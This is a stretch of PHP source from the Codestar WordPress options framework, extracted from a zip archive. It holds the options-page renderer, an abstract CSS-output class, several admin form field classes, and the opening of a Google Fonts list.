			echo '<input disabled type="submit" name="' . esc_attr( $this->unique ) . '[_nonce][save]" class="button button-primary csf-top-save csf-save' . esc_attr( $ajax_class ) . '" value="' . esc_html__( 'Save', 'csf' ) . '" data-save="' . esc_html__( 'Saving...', 'csf' ) . '">';
			echo ( $this->args['show_reset_section'] ) ? '<input type="submit" name="csf_transient[reset_section]" class="button button-secondary csf-reset-section csf-confirm" value="' . esc_html__( 'Reset Section', 'csf' ) . '" data-confirm="' . esc_html__( 'Are you sure to reset this section options?', 'csf' ) . '">' : '';
			echo ( $this->args['show_reset_all'] ) ? '<input type="submit" name="csf_transient[reset]" class="button csf-warning-primary csf-reset-all csf-confirm" value="' . ( ( $this->args['show_reset_section'] ) ? esc_html__( 'Reset All', 'csf' ) : esc_html__( 'Reset', 'csf' ) ) . '" data-confirm="' . esc_html__( 'Are you sure you want to reset all settings to default values?', 'csf' ) . '">' : '';
			echo '</div>';

			echo '</div>';

			echo '<div class="clear"></div>';
			echo '</div>';
			echo '</div>';

			echo '<div class="csf-wrapper' . esc_attr( $show_all ) . '">';

			if ( $has_nav ) {

				echo '<div class="csf-nav csf-nav-' . esc_attr( $nav_type ) . ' csf-nav-options">';

				echo '<div class="theiaStickySidebar"><ul>';

				foreach ( $this->pre_tabs as $tab ) {

					$tab_id    = sanitize_title( $tab['title'] );
					$tab_error = $this->error_check( $tab );
					$tab_icon  = ( ! empty( $tab['icon'] ) ) ? '<i class="csf-tab-icon ' . esc_attr( $tab['icon'] ) . '"></i>' : '';

					if ( ! empty( $tab['subs'] ) ) {

						echo '<li class="csf-tab-item">';

						echo '<a href="#tab=' . esc_attr( $tab_id ) . '" data-tab-id="' . esc_attr( $tab_id ) . '" class="csf-arrow">' . $tab_icon . '<span class="penci-cpnale-tab-title">' . $tab['title'] . '</span>' . $tab_error . '</a>';

						echo '<ul>';

						foreach ( $tab['subs'] as $sub ) {

							$sub_id    = $tab_id . '/' . sanitize_title( $sub['title'] );
							$sub_error = $this->error_check( $sub );
							$sub_icon  = ( ! empty( $sub['icon'] ) ) ? '<i class="csf-tab-icon ' . esc_attr( $sub['icon'] ) . '"></i>' : '';

							echo '<li><a href="#tab=' . esc_attr( $sub_id ) . '" data-tab-id="' . esc_attr( $sub_id ) . '">' . $sub_icon . $sub['title'] . $sub_error . '</a></li>';

						}

						echo '</ul>';

						echo '</li>';

					} else {

						echo '<li class="csf-tab-item"><a href="#tab=' . esc_attr( $tab_id ) . '" data-tab-id="' . esc_attr( $tab_id ) . '">' . $tab_icon . '<span class="penci-cpnale-tab-title">' . $tab['title'] . '</span>' . $tab_error . '</a></li>';

					}
				}

				echo '</ul></div>';

				echo '</div>';

			}

			echo '<div class="csf-content">';

			echo '<div class="csf-sections"><div class="theiaStickySidebar">';

			foreach ( $this->pre_sections as $section ) {

				$section_onload = ( ! $has_nav ) ? ' csf-onload' : '';
				$section_class  = ( ! empty( $section['class'] ) ) ? ' ' . $section['class'] : '';
				$section_icon   = ( ! empty( $section['icon'] ) ) ? '<i class="csf-section-icon ' . esc_attr( $section['icon'] ) . '"></i>' : '';
				$section_title  = ( ! empty( $section['title'] ) ) ? $section['title'] : '';
				$section_parent = ( ! empty( $section['ptitle'] ) ) ? sanitize_title( $section['ptitle'] ) . '/' : '';
				$section_slug   = ( ! empty( $section['title'] ) ) ? sanitize_title( $section_title ) : '';

				echo '<div class="csf-section hidden' . esc_attr( $section_onload . $section_class ) . '" data-section-id="' . esc_attr( $section_parent . $section_slug ) . '">';
				echo ( $has_nav ) ? '<div class="csf-section-title"><h3>' . $section_icon . $section_title . '</h3></div>' : '';
				echo ( ! empty( $section['description'] ) ) ? '<div class="csf-field csf-section-description">' . $section['description'] . '</div>' : '';

				if ( ! empty( $section['fields'] ) ) {

					foreach ( $section['fields'] as $field ) {

						$is_field_error = $this->error_check( $field );

						if ( ! empty( $is_field_error ) ) {
							$field['_error'] = $is_field_error;
						}

						if ( ! empty( $field['id'] ) ) {
							$field['default'] = $this->get_default( $field );
						}

						$value = ( ! empty( $field['id'] ) && isset( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : '';

						CSF::field( $field, $value, $this->unique, 'options' );

					}
				} else {

								echo '<div class="csf-no-option">' . esc_html__( 'No data available.', 'csf' ) . '</div>';

				}

				echo '</div>';

			}

			echo '</div></div>';

			echo '<div class="clear"></div>';

			echo '</div>';

			echo ( $has_nav && $nav_type === 'normal' ) ? '<div class="csf-nav-background"></div>' : '';

			echo '</div>';

			if ( ! empty( $this->args['show_footer'] ) ) {

				echo '<div class="csf-footer">';

				echo '<div class="csf-buttons">';
				echo '<input disabled type="submit" name="csf_transient[save]" class="button button-primary csf-save' . esc_attr( $ajax_class ) . '" value="' . esc_html__( 'Save', 'csf' ) . '" data-save="' . esc_html__( 'Saving...', 'csf' ) . '">';
				echo ( $this->args['show_reset_section'] ) ? '<input type="submit" name="csf_transient[reset_section]" class="button button-secondary csf-reset-section csf-confirm" value="' . esc_html__( 'Reset Section', 'csf' ) . '" data-confirm="' . esc_html__( 'Are you sure to reset this section options?', 'csf' ) . '">' : '';
				echo ( $this->args['show_reset_all'] ) ? '<input type="submit" name="csf_transient[reset]" class="button csf-warning-primary csf-reset-all csf-confirm" value="' . ( ( $this->args['show_reset_section'] ) ? esc_html__( 'Reset All', 'csf' ) : esc_html__( 'Reset', 'csf' ) ) . '" data-confirm="' . esc_html__( 'Are you sure you want to reset all settings to default values?', 'csf' ) . '">' : '';
				echo '</div>';

				echo ( ! empty( $this->args['footer_text'] ) ) ? '<div class="csf-copyright">' . $this->args['footer_text'] . '</div>' : '';

				echo '<div class="clear"></div>';
				echo '</div>';

			}

			echo '</form>';

			echo '</div>';

			echo '<div class="clear"></div>';

			echo ( ! empty( $this->args['footer_after'] ) ) ? $this->args['footer_after'] : '';

			echo '</div>';

			do_action( 'csf_options_after' );
		}
	}
}
PK     2w\A  A  ,  options/framework/classes/abstract.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Abstract Class
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Abstract' ) ) {
  abstract class CSF_Abstract {

    public $abstract   = '';
    public $output_css = '';

    public function __construct() {

      // Collect output css and typography
      if ( ! empty( $this->args['output_css'] ) || ! empty( $this->args['enqueue_webfont'] ) ) {
        add_action( 'wp_enqueue_scripts', array( $this, 'collect_output_css_and_typography' ), 10 );
        CSF::$css = apply_filters( "csf_{$this->unique}_output_css", CSF::$css, $this );
      }

    }

    public function collect_output_css_and_typography() {
      $this->recursive_output_css( $this->pre_fields );
    }

    public function recursive_output_css( $fields = array(), $combine_field = array() ) {

      if ( ! empty( $fields ) ) {

        foreach ( $fields as $field ) {

          $field_id     = ( ! empty( $field['id'] ) ) ? $field['id'] : '';
          $field_type   = ( ! empty( $field['type'] ) ) ? $field['type'] : '';
          $field_output = ( ! empty( $field['output'] ) ) ? $field['output'] : '';
          $field_check  = ( $field_type === 'typography' || $field_output ) ? true : false;
          $field_class  = 'CSF_Field_' . $field_type;

          if ( $field_type && $field_id ) {


            if( $field_type === 'fieldset' ) {
              if ( ! empty( $field['fields'] ) ) {
                $this->recursive_output_css( $field['fields'], $field );
              }
            }

            if( $field_type === 'accordion' ) {
              if ( ! empty( $field['accordions'] ) ) {
                foreach ( $field['accordions'] as $accordion ) {
                  $this->recursive_output_css( $accordion['fields'], $field );
                }
              }
            }

            if( $field_type === 'tabbed' ) {
              if ( ! empty( $field['tabs'] ) ) {
                foreach ( $field['tabs'] as $accordion ) {
                  $this->recursive_output_css( $accordion['fields'], $field );
                }
              }
            }

            if ( class_exists( $field_class ) ) {

              if ( method_exists( $field_class, 'output' ) || method_exists( $field_class, 'enqueue_google_fonts' ) ) {

                $field_value = '';

                if ( $field_check && ( $this->abstract === 'options' || $this->abstract === 'customize' ) ) {

                  if( ! empty( $combine_field ) ) {

                    $field_value = ( isset( $this->options[$combine_field['id']][$field_id] ) ) ? $this->options[$combine_field['id']][$field_id] : '';

                  } else {

                    $field_value = ( isset( $this->options[$field_id] ) ) ? $this->options[$field_id] : '';

                  }

                } else if ( $field_check && ( $this->abstract === 'metabox' && is_singular() || $this->abstract === 'taxonomy' && is_archive() ) ) {

                  if( ! empty( $combine_field ) ) {

                    $meta_value  = $this->get_meta_value( $combine_field );
                    $field_value = ( isset( $meta_value[$field_id] ) ) ? $meta_value[$field_id] : '';

                  } else {

                    $meta_value  = $this->get_meta_value( $field );
                    $field_value = ( isset( $meta_value ) ) ? $meta_value : '';

                  }

                }

                $instance = new $field_class( $field, $field_value, $this->unique, 'wp/enqueue', $this );

                // typography enqueue and embed google web fonts
                if ( $field_type === 'typography' && $this->args['enqueue_webfont'] && ! empty( $field_value['font-family'] ) ) {

                  $method = ( ! empty( $this->args['async_webfont'] ) ) ? 'async' : 'enqueue';

                  $instance->enqueue_google_fonts( $method );

                }

                // output css
                if ( $field_output && $this->args['output_css'] ) {
                  CSF::$css .= $instance->output();
                }

                unset( $instance );

              }

            }

          }

        }

      }

    }

    public function pre_tabs( $sections ) {

      $count   = 100;
      $result  = array();
      $parents = array();

      foreach ( $sections as $key => $section ) {
        if ( ! empty( $section['parent'] ) ) {
          $section['priority'] = ( isset( $section['priority'] ) ) ? $section['priority'] : $count;
          $parents[$section['parent']][] = $section;
          unset( $sections[$key] );
        }
        $count++;
      }

      foreach ( $sections as $key => $section ) {
        $section['priority'] = ( isset( $section['priority'] ) ) ? $section['priority'] : $count;
        if ( ! empty( $section['id'] ) && ! empty( $parents[$section['id']] ) ) {
          $section['subs'] = wp_list_sort( $parents[$section['id']], array( 'priority' => 'ASC' ), 'ASC', true );
        }
        $result[] = $section;
        $count++;
      }

      return wp_list_sort( $result, array( 'priority' => 'ASC' ), 'ASC', true );

    }

    public function pre_sections( $sections ) {

      $result = array();

      foreach ( $this->pre_tabs( $sections ) as $section ) {
        if ( ! empty( $section['subs'] ) ) {
          foreach ( $section['subs'] as $sub ) {
            $sub['ptitle'] = ( ! empty( $section['title'] ) ) ? $section['title'] : '';
            $result[] = $sub;
          }
        }
        if ( empty( $section['subs'] ) ) {
          $result[] = $section;
        }
      }

      return $result;
    }

    public function pre_fields( $sections ) {

      $result = array();

      foreach ( $sections as $key => $section ) {
        if ( ! empty( $section['fields'] ) ) {
          foreach ( $section['fields'] as $field ) {
            $result[] = $field;
          }
        }
      }

      return $result;
    }

  }
}
PK     2w\
o	  	  6  options/framework/fields/image_select/image_select.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: image_select
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_image_select' ) ) {
  class CSF_Field_image_select extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'multiple' => false,
        'inline'   => false,
        'options'  => array(),
      ) );

      $inline = ( $args['inline'] ) ? ' csf--inline-list' : '';

      $value = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );

      echo $this->field_before();

      if ( ! empty( $args['options'] ) ) {

        echo '<div class="csf-siblings csf--image-group'. esc_attr( $inline ) .'" data-multiple="'. esc_attr( $args['multiple'] ) .'">';

        $num = 1;

        foreach ( $args['options'] as $key => $option ) {

          $type    = ( $args['multiple'] ) ? 'checkbox' : 'radio';
          $extra   = ( $args['multiple'] ) ? '[]' : '';
          $active  = ( in_array( $key, $value ) ) ? ' csf--active' : '';
          $checked = ( in_array( $key, $value ) ) ? ' checked' : '';

          echo '<div class="csf--sibling csf--image'. esc_attr( $active ) .'">';
            echo '<figure>';
              echo '<img src="'. esc_url( $option ) .'" alt="img-'. esc_attr( $num++ ) .'" />';
              echo '<input type="'. esc_attr( $type ) .'" name="'. esc_attr( $this->field_name( $extra ) ) .'" value="'. esc_attr( $key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
            echo '</figure>';
          echo '</div>';

        }

        echo '</div>';

      }

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $bg_image  = array();
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $elements  = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        $output = $elements .'{background-image:url('. $this->value .')'. $important .';}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\H9    $  options/framework/fields/map/map.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: map
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_map' ) ) {
  class CSF_Field_map extends CSF_Fields {

    public $version = '1.9.2';
    public $cdn_url = 'https://cdn.jsdelivr.net/npm/leaflet@';

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args              = wp_parse_args( $this->field, array(
        'placeholder'    => esc_html__( 'Search...', 'csf' ),
        'latitude_text'  => esc_html__( 'Latitude', 'csf' ),
        'longitude_text' => esc_html__( 'Longitude', 'csf' ),
        'address_field'  => '',
        'height'         => '',
      ) );

      $value             = wp_parse_args( $this->value, array(
        'address'        => '',
        'latitude'       => '20',
        'longitude'      => '0',
        'zoom'           => '2',
      ) );

      $default_settings   = array(
        'center'          => array( $value['latitude'], $value['longitude'] ),
        'zoom'            => $value['zoom'],
        'scrollWheelZoom' => false,
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();
      $settings = wp_parse_args( $settings, $default_settings );

      $style_attr  = ( ! empty( $args['height'] ) ) ? ' style="min-height:'. esc_attr( $args['height'] ) .';"' : '';
      $placeholder = ( ! empty( $args['placeholder'] ) ) ? array( 'placeholder' => $args['placeholder'] ) : '';

      echo $this->field_before();

      if ( empty( $args['address_field'] ) ) {
        echo '<div class="csf--map-search">';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[address]' ) ) .'" value="'. esc_attr( $value['address'] ) .'"'. $this->field_attributes( $placeholder ) .' />';
        echo '</div>';
      } else {
        echo '<div class="csf--address-field" data-address-field="'. esc_attr( $args['address_field'] ) .'"></div>';
      }

      echo '<div class="csf--map-osm-wrap"><div class="csf--map-osm" data-map="'. esc_attr( json_encode( $settings ) ) .'"'. $style_attr .'></div></div>';

      echo '<div class="csf--map-inputs">';

        echo '<div class="csf--map-input">';
        echo '<label>'. esc_attr( $args['latitude_text'] ) .'</label>';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[latitude]' ) ) .'" value="'. esc_attr( $value['latitude'] ) .'" class="csf--latitude" />';
        echo '</div>';

        echo '<div class="csf--map-input">';
        echo '<label>'. esc_attr( $args['longitude_text'] ) .'</label>';
        echo '<input type="text" name="'. esc_attr( $this->field_name( '[longitude]' ) ) .'" value="'. esc_attr( $value['longitude'] ) .'" class="csf--longitude" />';
        echo '</div>';

      echo '</div>';

      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[zoom]' ) ) .'" value="'. esc_attr( $value['zoom'] ) .'" class="csf--zoom" />';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'csf-leaflet' ) ) {
        wp_enqueue_script( 'csf-leaflet', esc_url( $this->cdn_url . $this->version .'/dist/leaflet.js' ), array( 'csf' ), $this->version, true );
      }

      if ( ! wp_style_is( 'csf-leaflet' ) ) {
        wp_enqueue_style( 'csf-leaflet', esc_url( $this->cdn_url . $this->version .'/dist/leaflet.css' ), array(), $this->version );
      }

      if ( ! wp_script_is( 'jquery-ui-autocomplete' ) ) {
        wp_enqueue_script( 'jquery-ui-autocomplete' );
      }

    }

  }
}
PK     2w\h6
  
  *  options/framework/fields/slider/slider.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: slider
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_slider' ) ) {
  class CSF_Field_slider extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'  => 100,
        'min'  => 0,
        'step' => 1,
        'unit' => '',
      ) );

      $is_unit = ( ! empty( $args['unit'] ) ) ? ' csf--is-unit' : '';

      echo $this->field_before();

      echo '<div class="csf--wrap">';
      echo '<div class="csf-slider-ui"></div>';
      echo '<div class="csf--input">';
      echo '<input type="number" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes( array( 'class' => 'csf-input-number'. esc_attr( $is_unit ) ) ) .' data-min="'. esc_attr( $args['min'] ) .'" data-max="'. esc_attr( $args['max'] ) .'" data-step="'. esc_attr( $args['step'] ) .'" step="any" />';
      echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
      echo '</div>';
      echo '</div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-slider' ) ) {
        wp_enqueue_script( 'jquery-ui-slider' );
      }

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'width';
      $unit      = ( ! empty( $this->field['unit'] ) ) ? $this->field['unit'] : 'px';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            if ( $mode ) {
              $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $unit . $important .';}';
            }
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $unit . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\0AT|  |  2  options/framework/fields/dimensions/dimensions.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: dimensions
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_dimensions' ) ) {
  class CSF_Field_dimensions extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'width_icon'         => '<i class="fas fa-arrows-alt-h"></i>',
        'height_icon'        => '<i class="fas fa-arrows-alt-v"></i>',
        'width_placeholder'  => esc_html__( 'width', 'csf' ),
        'height_placeholder' => esc_html__( 'height', 'csf' ),
        'width'              => true,
        'height'             => true,
        'unit'               => true,
        'show_units'         => true,
        'units'              => array( 'px', '%', 'em' )
      ) );

      $default_values = array(
        'width'  => '',
        'height' => '',
        'unit'   => 'px',
      );

      $value   = wp_parse_args( $this->value, $default_values );
      $unit    = ( count( $args['units'] ) === 1 && ! empty( $args['unit'] ) ) ? $args['units'][0] : '';
      $is_unit = ( ! empty( $unit ) ) ? ' csf--is-unit' : '';

      echo $this->field_before();

      echo '<div class="csf--inputs" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      if ( ! empty( $args['width'] ) ) {
        $placeholder = ( ! empty( $args['width_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['width_placeholder'] ) .'"' : '';
        echo '<div class="csf--input">';
        echo ( ! empty( $args['width_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['width_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[width]' ) ) .'" value="'. esc_attr( $value['width'] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
        echo ( ! empty( $unit ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
        echo '</div>';
      }

      if ( ! empty( $args['height'] ) ) {
        $placeholder = ( ! empty( $args['height_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['height_placeholder'] ) .'"' : '';
        echo '<div class="csf--input">';
        echo ( ! empty( $args['height_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['height_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[height]' ) ) .'" value="'. esc_attr( $value['height'] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
        echo ( ! empty( $unit ) ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
        echo '</div>';
      }

      if ( ! empty( $args['unit'] ) && ! empty( $args['show_units'] ) && count( $args['units'] ) > 1 ) {
        echo '<div class="csf--input">';
        echo '<select name="'. esc_attr( $this->field_name( '[unit]' ) ) .'">';
        foreach ( $args['units'] as $unit ) {
          $selected = ( $value['unit'] === $unit ) ? ' selected' : '';
          echo '<option value="'. esc_attr( $unit ) .'"'. esc_attr( $selected ) .'>'. esc_attr( $unit ) .'</option>';
        }
        echo '</select>';
        echo '</div>';
      }

      echo '</div>';

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];
      $prefix    = ( ! empty( $this->field['output_prefix'] ) ) ? $this->field['output_prefix'] .'-' : '';
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $unit      = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';
      $width     = ( isset( $this->value['width'] ) && $this->value['width'] !== '' ) ? $prefix .'width:'. $this->value['width'] . $unit . $important .';' : '';
      $height    = ( isset( $this->value['height'] ) && $this->value['height'] !== '' ) ? $prefix .'height:'. $this->value['height'] . $unit . $important .';' : '';

      if ( $width !== '' || $height !== '' ) {
        $output = $element .'{'. $width . $height .'}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\|    ,  options/framework/fields/spacing/spacing.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: spacing
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_spacing' ) ) {
  class CSF_Field_spacing extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'top_icon'           => '<i class="fas fa-long-arrow-alt-up"></i>',
        'right_icon'         => '<i class="fas fa-long-arrow-alt-right"></i>',
        'bottom_icon'        => '<i class="fas fa-long-arrow-alt-down"></i>',
        'left_icon'          => '<i class="fas fa-long-arrow-alt-left"></i>',
        'all_icon'           => '<i class="fas fa-arrows-alt"></i>',
        'top_placeholder'    => esc_html__( 'top', 'csf' ),
        'right_placeholder'  => esc_html__( 'right', 'csf' ),
        'bottom_placeholder' => esc_html__( 'bottom', 'csf' ),
        'left_placeholder'   => esc_html__( 'left', 'csf' ),
        'all_placeholder'    => esc_html__( 'all', 'csf' ),
        'top'                => true,
        'left'               => true,
        'bottom'             => true,
        'right'              => true,
        'unit'               => true,
        'show_units'         => true,
        'all'                => false,
        'units'              => array( 'px', '%', 'em' )
      ) );

      $default_values = array(
        'top'    => '',
        'right'  => '',
        'bottom' => '',
        'left'   => '',
        'all'    => '',
        'unit'   => 'px',
      );

      $value   = wp_parse_args( $this->value, $default_values );
      $unit    = ( count( $args['units'] ) === 1 && ! empty( $args['unit'] ) ) ? $args['units'][0] : '';
      $is_unit = ( ! empty( $unit ) ) ? ' csf--is-unit' : '';

      echo $this->field_before();

      echo '<div class="csf--inputs" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      if ( ! empty( $args['all'] ) ) {

        $placeholder = ( ! empty( $args['all_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args['all_placeholder'] ) .'"' : '';

        echo '<div class="csf--input">';
        echo ( ! empty( $args['all_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args['all_icon'] .'</span>' : '';
        echo '<input type="number" name="'. esc_attr( $this->field_name( '[all]' ) ) .'" value="'. esc_attr( $value['all'] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
        echo ( $unit ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
        echo '</div>';

      } else {

        $properties = array();

        foreach ( array( 'top', 'right', 'bottom', 'left' ) as $prop ) {
          if ( ! empty( $args[$prop] ) ) {
            $properties[] = $prop;
          }
        }

        $properties = ( $properties === array( 'right', 'left' ) ) ? array_reverse( $properties ) : $properties;

        foreach ( $properties as $property ) {

          $placeholder = ( ! empty( $args[$property.'_placeholder'] ) ) ? ' placeholder="'. esc_attr( $args[$property.'_placeholder'] ) .'"' : '';

          echo '<div class="csf--input">';
          echo ( ! empty( $args[$property.'_icon'] ) ) ? '<span class="csf--label csf--icon">'. $args[$property.'_icon'] .'</span>' : '';
          echo '<input type="number" name="'. esc_attr( $this->field_name( '['. $property .']' ) ) .'" value="'. esc_attr( $value[$property] ) .'"'. $placeholder .' class="csf-input-number'. esc_attr( $is_unit ) .'" step="any" />';
          echo ( $unit ) ? '<span class="csf--label csf--unit">'. esc_attr( $args['units'][0] ) .'</span>' : '';
          echo '</div>';

        }

      }

      if ( ! empty( $args['unit'] ) && ! empty( $args['show_units'] ) && count( $args['units'] ) > 1 ) {
        echo '<div class="csf--input">';
        echo '<select name="'. esc_attr( $this->field_name( '[unit]' ) ) .'">';
        foreach ( $args['units'] as $unit ) {
          $selected = ( $value['unit'] === $unit ) ? ' selected' : '';
          echo '<option value="'. esc_attr( $unit ) .'"'. esc_attr( $selected ) .'>'. esc_attr( $unit ) .'</option>';
        }
        echo '</select>';
        echo '</div>';
      }

      echo '</div>';

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $unit      = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';

      $mode = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'padding';

      if ( $mode === 'border-radius' || $mode === 'radius' ) {

        $top    = 'border-top-left-radius';
        $right  = 'border-top-right-radius';
        $bottom = 'border-bottom-right-radius';
        $left   = 'border-bottom-left-radius';

      } else if ( $mode === 'relative' || $mode === 'absolute' || $mode === 'none' ) {

        $top    = 'top';
        $right  = 'right';
        $bottom = 'bottom';
        $left   = 'left';

      } else {

        $top    = $mode .'-top';
        $right  = $mode .'-right';
        $bottom = $mode .'-bottom';
        $left   = $mode .'-left';

      }

      if ( ! empty( $this->field['all'] ) && isset( $this->value['all'] ) && $this->value['all'] !== '' ) {

        $output  = $element .'{';
        $output .= $top    .':'. $this->value['all'] . $unit . $important .';';
        $output .= $right  .':'. $this->value['all'] . $unit . $important .';';
        $output .= $bottom .':'. $this->value['all'] . $unit . $important .';';
        $output .= $left   .':'. $this->value['all'] . $unit . $important .';';
        $output .= '}';

      } else {

        $top    = ( isset( $this->value['top']    ) && $this->value['top']    !== '' ) ? $top    .':'. $this->value['top']    . $unit . $important .';' : '';
        $right  = ( isset( $this->value['right']  ) && $this->value['right']  !== '' ) ? $right  .':'. $this->value['right']  . $unit . $important .';' : '';
        $bottom = ( isset( $this->value['bottom'] ) && $this->value['bottom'] !== '' ) ? $bottom .':'. $this->value['bottom'] . $unit . $important .';' : '';
        $left   = ( isset( $this->value['left']   ) && $this->value['left']   !== '' ) ? $left   .':'. $this->value['left']   . $unit . $important .';' : '';

        if ( $top !== '' || $right !== '' || $bottom !== '' || $left !== '' ) {
          $output = $element .'{'. $top . $right . $bottom . $left .'}';
        }

      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\OZ2.  .  4  options/framework/fields/color_group/color_group.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: color_group
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_color_group' ) ) {
  class CSF_Field_color_group extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $options = ( ! empty( $this->field['options'] ) ) ? $this->field['options'] : array();

      echo $this->field_before();

      if ( ! empty( $options ) ) {
        foreach ( $options as $key => $option ) {

          $color_value  = ( ! empty( $this->value[$key] ) ) ? $this->value[$key] : '';
          $default_attr = ( ! empty( $this->field['default'][$key] ) ) ? ' data-default-color="'. esc_attr( $this->field['default'][$key] ) .'"' : '';

          echo '<div class="csf--left csf-field-color">';
          echo '<div class="csf--title">'. $option .'</div>';
          echo '<input type="text" name="'. esc_attr( $this->field_name( '['. $key .']' ) ) .'" value="'. esc_attr( $color_value ) .'" class="csf-color"'. $default_attr . $this->field_attributes() .'/>';
          echo '</div>';

        }
      }

      echo $this->field_after();

    }

  }
}
PK     2w\^ǔ  4  options/framework/fields/typography/google-fonts.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.

if ( ! function_exists( 'csf_get_google_fonts' ) ) {
  function csf_get_google_fonts() {
    return [
      'ABeeZee'=>[['normal','italic'],['latin','latin-ext']],
      'Abel'=>[['normal'],['latin']],
